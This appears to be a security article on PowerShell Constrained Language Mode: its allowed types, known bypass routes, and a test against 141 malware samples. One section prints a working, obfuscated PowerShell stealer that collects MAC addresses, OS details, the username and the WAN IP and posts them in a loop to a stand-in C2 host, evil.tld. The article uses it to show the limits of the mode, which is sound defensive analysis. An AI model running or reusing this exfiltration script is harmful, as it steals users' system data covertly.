A Deep Dive into PowerShell's Constrained Language Mode

What is Constrained Language Mode and Why it Matters

Safer PowerShell Environment

• All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
• All elements of the PowerShell scripting language are permitted.
• All modules included in Windows can be imported and all commands that the modules export run in the session.
• In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
• The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
• The New-Object cmdlet can be used only on allowed types (listed below).
• Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
• Type conversion is permitted, but only when the result is an allowed type.
• Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
• The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
• Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:

  • Scripting.Dictionary
  • Scripting.FileSystemObject
  • VBScript.RegExp

No Arbitrary C# Code via Add-Type

The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Non-whitelisted Types are Prohibited

• The New-Object cmdlet can be used only on allowed types (listed below).
• Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
• Type conversion is permitted, but only when the result is an allowed type.
• Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
• The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

Prohibit Complex Scripts from Executing

Require Explicit Feature Enrollment

Effective Against Scripts, not Standard Cmdlets

Start-Job -ScriptBlock {
 while($true){
  # MAC address collection
  .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
  # OSs + username collection
  .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
  # WAN IP collection
  &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
  # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
  .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
  ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
  # Compresses the file
  &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
  # Sends it back to the C2 station
  &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
  &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
  }
}

Beware of __PSLockdownPolicy

As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called __PSLockdownPolicy. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

Compatibility with Legacy OSs

PS C:\> powershell -v 2
Encountered a problem reading the registry.  Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.

Hypothetical Testing

• gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.

  • These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't *.ps1 scripts) in any way.
• executed the scripts via ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}.
• ran these samples on a system with ConstrainedLanguage mode enabled.
• ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.

  • Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

• ConstrainedLanguage blocked ...

  • 100% (141/141) of the samples from executing properly.

    • ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
  • 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
  • 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
  • 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
  • 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
• ConstrainedLanguage failed to block ...

  • 0.7% (1/141) of the samples that had managed to create persistence entries.

Conclusion